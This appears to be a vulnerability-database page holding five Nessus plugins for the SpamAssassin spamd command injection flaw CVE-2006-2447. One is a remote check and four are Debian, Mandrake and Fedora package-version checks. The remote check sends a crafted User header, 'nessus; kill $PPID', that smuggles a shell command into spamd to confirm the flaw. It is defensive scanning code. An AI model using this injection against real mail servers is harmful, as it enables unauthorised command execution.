Vulnerabilities > CVE-2006-2447 - Unspecified vulnerability in Apache Spamassassin 3.1.0/3.1.1/3.1.2

#
# (C) Tenable Network Security
#


include("compat.inc");

if (description)
{
  script_id(21673);
  script_version("1.17");

  script_cve_id("CVE-2006-2447");
  script_bugtraq_id(18290);

  script_name(english:"SpamAssassin spamd Crafted Message Arbitrary Command Execution");
  script_summary(english:"Checks for an command execution flaw in spamd");

 script_set_attribute(attribute:"synopsis", value:
"The remote server allows execution of arbitrary commands." );
 script_set_attribute(attribute:"description", value:
"The remote host is running spamd, a daemon belonging to SpamAssassin
and used to determine whether messages represent spam. 

The installed version of spamd on the remote host appears to allow an
unauthenticated user to execute arbitrary commands, subject to the
privileges of the user under which it operates." );
 script_set_attribute(attribute:"see_also", value:"https://spamassassin.apache.org/404.html" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to SpamAssassin 3.0.6 / 3.1.3 or later." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'SpamAssassin spamd Remote Command Execution');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/06/08");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/06/06");
 script_cvs_date("Date: 2018/11/15 20:50:22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:spamassassin");
script_end_attributes();

 
  script_category(ACT_ATTACK);
  script_family(english:"Gain a shell remotely");

  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");

  script_dependencies("find_service2.nasl");
  script_require_ports("Services/spamd", 783);

  exit(0);
}


include("global_settings.inc");


port = get_kb_item("Services/spamd");
if (!port) port = 783;
if (!get_port_state(port)) exit(0);


# A sample email.
msg = string(
  "From: nessus\n",
  "To: root\n",
  "Subject: Test\n",
  "Date: Wed, 07 Jun 2006 10:18:42 -0400\n",
  "\n",
  "A simple test of ", SCRIPT_NAME, ".\n"
);


# Make sure spamd works.
soc = open_sock_tcp(port);
if (soc)
{
  req = string(
    "PROCESS SPAMC/1.2\r\n",
    "Content-length: ", strlen(msg), "\r\n",
    "User: nessus\r\n",
    "\r\n",
    msg
  );
  send(socket:soc, data:req);
  res = recv(socket:soc, length:1024);
  close(soc);
}


# If it does...
if (res && egrep(pattern:"^SPAMD/[^ ]+ [0-9]+ EX_OK", string:res))
{
  # Make sure the version looks vulnerable, unless we're paranoid.
  if (
    report_paranoia < 2 &&
    "X-Spam-Checker-Version:" >< res &&
    !egrep(pattern:"^X-Spam-Checker-Version: SpamAssassin ([0-2]\.|3\.(0\.[0-5]|1\.[0-2]))", string:res)
  ) exit(0);

  # Now try to exploit the flaw to kill our connection.
  soc = open_sock_tcp(port);
  if (soc)
  {
    req = string(
      "PROCESS SPAMC/1.2\r\n",
      "Content-length: ", strlen(msg), "\r\n",
      "User: nessus; kill $PPID\r\n",
      "\r\n",
      msg
    );
    send(socket:soc, data:req);
    res2 = recv(socket:soc, length:1024);

    # There's a problem if we didn't receive anything this time.
    if (res2 == NULL) security_warning(port);
  }
}

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-1090. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(22632);
  script_version("1.16");
  script_cvs_date("Date: 2019/08/02 13:32:19");

  script_cve_id("CVE-2006-2447");
  script_xref(name:"DSA", value:"1090");

  script_name(english:"Debian DSA-1090-1 : spamassassin - programming error");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"A vulnerability has been discovered in SpamAssassin, a Perl-based spam
filter using text analysis, that can allow remote attackers to execute
arbitrary commands. This problem only affects systems where spamd is
reachable via the internet and used with vpopmail virtual users, via
the '-v' / '--vpopmail' switch, and with the '-P' / '--paranoid'
switch which is not the default setting on Debian."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.debian.org/security/2006/dsa-1090"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the spamd package.

The old stable distribution (woody) is not affected by this problem.

For the stable distribution (sarge) this problem has been fixed in
version 3.0.3-2sarge1.

For the volatile archive for the stable distribution (sarge) this
problem has been fixed in version 3.1.0a-0volatile3."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'SpamAssassin spamd Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:spamassassin");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:3.1");

  script_set_attribute(attribute:"patch_publication_date", value:"2006/06/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/10/14");
  script_set_attribute(attribute:"vuln_publication_date", value:"2006/06/06");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 Tenable Network Security, Inc.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"3.1", prefix:"spamassassin", reference:"3.0.3-2sarge1")) flag++;
if (deb_check(release:"3.1", prefix:"spamc", reference:"3.0.3-2sarge1")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Mandrake Linux Security Advisory MDKSA-2006:103. 
# The text itself is copyright (C) Mandriva S.A.
#

include("compat.inc");

if (description)
{
  script_id(21718);
  script_version ("1.16");
  script_cvs_date("Date: 2019/08/02 13:32:48");

  script_cve_id("CVE-2006-2447");
  script_xref(name:"MDKSA", value:"2006:103");

  script_name(english:"Mandrake Linux Security Advisory : spamassassin (MDKSA-2006:103)");
  script_summary(english:"Checks rpm output for the updated packages");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Mandrake Linux host is missing one or more security
updates."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"A flaw was discovered in the way that spamd processes the virtual POP
usernames passed to it. If running with the --vpopmail and --paranoid
flags, it is possible for a remote user with the ability to connect to
the spamd daemon to execute arbitrary commands as the user running
spamd.

By default, the Spamassassin packages do not start spamd with either
of these flags and this usage is uncommon.

The updated packages have been patched to correct this issue."
  );
  script_set_attribute(attribute:"solution", value:"Update the affected packages.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'SpamAssassin spamd Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:mandriva:linux:perl-Mail-SpamAssassin");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:mandriva:linux:spamassassin");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:mandriva:linux:spamassassin-spamc");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:mandriva:linux:spamassassin-spamd");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:mandriva:linux:spamassassin-tools");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:mandriva:linux:2006");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/o:mandrakesoft:mandrake_linux:le2005");

  script_set_attribute(attribute:"patch_publication_date", value:"2006/06/14");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/06/16");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 Tenable Network Security, Inc.");
  script_family(english:"Mandriva Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/cpu", "Host/Mandrake/release", "Host/Mandrake/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Mandrake/release")) audit(AUDIT_OS_NOT, "Mandriva / Mandake Linux");
if (!get_kb_item("Host/Mandrake/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if (cpu !~ "^(amd64|i[3-6]86|x86_64)$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Mandriva / Mandrake Linux", cpu);


flag = 0;
if (rpm_check(release:"MDK10.2", reference:"perl-Mail-SpamAssassin-3.0.4-0.3.102mdk", yank:"mdk")) flag++;
if (rpm_check(release:"MDK10.2", reference:"spamassassin-3.0.4-0.3.102mdk", yank:"mdk")) flag++;
if (rpm_check(release:"MDK10.2", reference:"spamassassin-spamc-3.0.4-0.3.102mdk", yank:"mdk")) flag++;
if (rpm_check(release:"MDK10.2", reference:"spamassassin-spamd-3.0.4-0.3.102mdk", yank:"mdk")) flag++;
if (rpm_check(release:"MDK10.2", reference:"spamassassin-tools-3.0.4-0.3.102mdk", yank:"mdk")) flag++;

if (rpm_check(release:"MDK2006.0", reference:"perl-Mail-SpamAssassin-3.0.4-3.3.20060mdk", yank:"mdk")) flag++;
if (rpm_check(release:"MDK2006.0", reference:"spamassassin-3.0.4-3.3.20060mdk", yank:"mdk")) flag++;
if (rpm_check(release:"MDK2006.0", reference:"spamassassin-spamc-3.0.4-3.3.20060mdk", yank:"mdk")) flag++;
if (rpm_check(release:"MDK2006.0", reference:"spamassassin-spamd-3.0.4-3.3.20060mdk", yank:"mdk")) flag++;
if (rpm_check(release:"MDK2006.0", reference:"spamassassin-tools-3.0.4-3.3.20060mdk", yank:"mdk")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Fedora Security Advisory 2006-598.
#

include("compat.inc");

if (description)
{
  script_id(24118);
  script_version ("1.16");
  script_cvs_date("Date: 2019/08/02 13:32:24");

  script_cve_id("CVE-2006-2447");
  script_xref(name:"FEDORA", value:"2006-598");

  script_name(english:"Fedora Core 5 : spamassassin-3.1.3-1.fc5 (2006-598)");
  script_summary(english:"Checks rpm output for the updated packages.");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Fedora Core host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"3.1.3 Resolves CVE-2006-2447.

Note that you are affected by this bug only if you launched spamd with
both --vpopmail and --paranoid, which is not a common configuration. 

Also included are bug fixes from 3.1.2.

Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora security advisory. Tenable
has attempted to automatically clean and format it as much as possible
without introducing additional issues."
  );
  # https://lists.fedoraproject.org/pipermail/package-announce/2006-June/000188.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?1cd6e25a"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Update the affected spamassassin and / or spamassassin-debuginfo
packages."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'SpamAssassin spamd Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:spamassassin");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:spamassassin-debuginfo");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora_core:5");

  script_set_attribute(attribute:"patch_publication_date", value:"2006/06/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/01/17");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2007-2019 Tenable Network Security, Inc.");
  script_family(english:"Fedora Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
os_ver = eregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
os_ver = os_ver[1];
if (! ereg(pattern:"^5([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 5.x", "Fedora " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);

flag = 0;
if (rpm_check(release:"FC5", reference:"spamassassin-3.1.3-1.fc5")) flag++;
if (rpm_check(release:"FC5", reference:"spamassassin-debuginfo-3.1.3-1.fc5")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "spamassassin / spamassassin-debuginfo");
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Fedora Security Advisory 2007-242.
#

include("compat.inc");

if (description)
{
  script_id(24361);
  script_version ("1.15");
  script_cvs_date("Date: 2019/08/02 13:32:25");

  script_cve_id("CVE-2006-2447", "CVE-2007-0451");
  script_xref(name:"FEDORA", value:"2007-242");

  script_name(english:"Fedora Core 5 : spamassassin-3.1.8-1.fc5 (2007-242)");
  script_summary(english:"Checks rpm output for the updated packages.");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Fedora Core host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"This upgrades to version 3.1.8, which fixes some bugs and
CVE-2007-0451 Malformed HTML Denial of Service.

Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora security advisory. Tenable
has attempted to automatically clean and format it as much as possible
without introducing additional issues."
  );
  # https://lists.fedoraproject.org/pipermail/package-announce/2007-February/001460.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?ab33f2db"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Update the affected spamassassin and / or spamassassin-debuginfo
packages."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'SpamAssassin spamd Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_cwe_id(399);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:spamassassin");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:spamassassin-debuginfo");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora_core:5");

  script_set_attribute(attribute:"patch_publication_date", value:"2007/02/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/02/17");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2007-2019 Tenable Network Security, Inc.");
  script_family(english:"Fedora Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
os_ver = eregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
os_ver = os_ver[1];
if (! ereg(pattern:"^5([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 5.x", "Fedora " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);

flag = 0;
if (rpm_check(release:"FC5", reference:"spamassassin-3.1.8-1.fc5")) flag++;
if (rpm_check(release:"FC5", reference:"spamassassin-debuginfo-3.1.8-1.fc5")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
  else security_warning(0);
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "spamassassin / spamassassin-debuginfo");
}